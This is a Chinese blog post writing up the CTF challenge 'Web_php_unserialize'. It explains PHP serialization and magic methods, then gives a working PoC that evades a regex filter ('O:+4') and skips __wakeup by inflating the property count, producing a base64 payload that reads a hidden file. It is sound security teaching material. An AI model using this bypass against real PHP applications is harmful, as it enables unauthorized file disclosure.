avatar

Web_php_unserialize
废话

序列化反序列化实在是太常见了,最近又频繁遇到php序列化,有必要学习一下,找了一道有关知识点的ctf先开个头(攻防世界web进阶-Web_php_unserialize)(我终于学着说口水话了!!)

php反序列化定义
  • PHP中所有的值都可以用函数 serialize() 返回的一个包含字节流的字符串来表示 , 序列化一个对象会保存当前对象的所有变量 , 会保留类的名字 , 但是不会保存对象的方法 . 如果序列化类A的一个对象 , 那么将返回一个和类A相关 , 并且包含该对象所有变量的字符串。

  • PHP反序列化就是通过 unserialize() 重新把字符串变回原来的值 . 如果反序列化的变量为对象( Object ) , 那么在成功重构对象后PHP会自动调用 __wakeup()成员方法 。

  • 简单的来说 , PHP序列化就是把代码中所有的 对象 , 类 , 数组 , 变量 , 匿名函数 … 全部转换为一个字符串 , 提供给用户传输和存储 。而反序列化就是把字符串重新转换为对象 , 类 , 数组 , 变量 , 匿名函数 。通过这种相互转换 ,从而完成数据持久化。

反序列化漏洞来源

漏洞的根源在于unserialize()函数的参数可控。如果反序列化对象中存在魔术方法,而且魔术方法中的代码有能够被我们控制,漏洞就这样产生了,根据不同的代码可以导致各种攻击,如代码注入、SQL注入、目录遍历等等。

会涉及的重要函数(魔术方法)

  • __construct() 在对象被创建时触发
  • __destruct() 在对象被销毁时触发
  • __sleep() 在对象被序列化之前触发
  • __wakeup() 在对象被反序列化之前触发
  • __toString() 当对象被当成字符串时触发
  • __get() 当访问不可访问的属性时触发

切入正题

  1. 代码审计
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
 <?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
  • 可控参数:‘var’
  • __desrtruct()魔术方法返回file源码
  • 正则匹配:preg_match('/[oc]:\d+:/i', $var)–对o/c:[0~9]: 的过滤

poc要点

  1. 正则匹配的绕过
  2. unserialize时__wakeup()的绕过

###解题原理
当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过wakeup的执行,直接调用destruct()魔术方法,返回fl4g.php。

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php 
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$A = new Demo('fl4g.php');
$C = serialize($A);
//string(49) "O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}"
$C = str_replace('O:4', 'O:+4',$C);//绕过preg_match
$C = str_replace(':1:', ':2:',$C);//绕过wakeup
var_dump($C);
//string(49) "O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}"
var_dump(base64_encode($C));
//string(68) "TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ=="
?>
  • 反序列化对象分析:O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}

O:4:"Demo" –>类:4个字符:”名称”

:1: –>一个对象

{s:10:"Demofile";s:8:"fl4g.php";} –>属性:字符数:”名称”

参考

php魔术方法:https://www.php.net/manual/zh/language.oop5.magic.php https://segmentfault.com/a/1190000007250604
参考思路:https://blog.csdn.net/qq_40884727/article/details/101162105
再学习:https://www.freebuf.com/news/172507.html

Author: Tabooair
Link: http://yoursite.com/2020/04/26/Web-php-unserialize/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.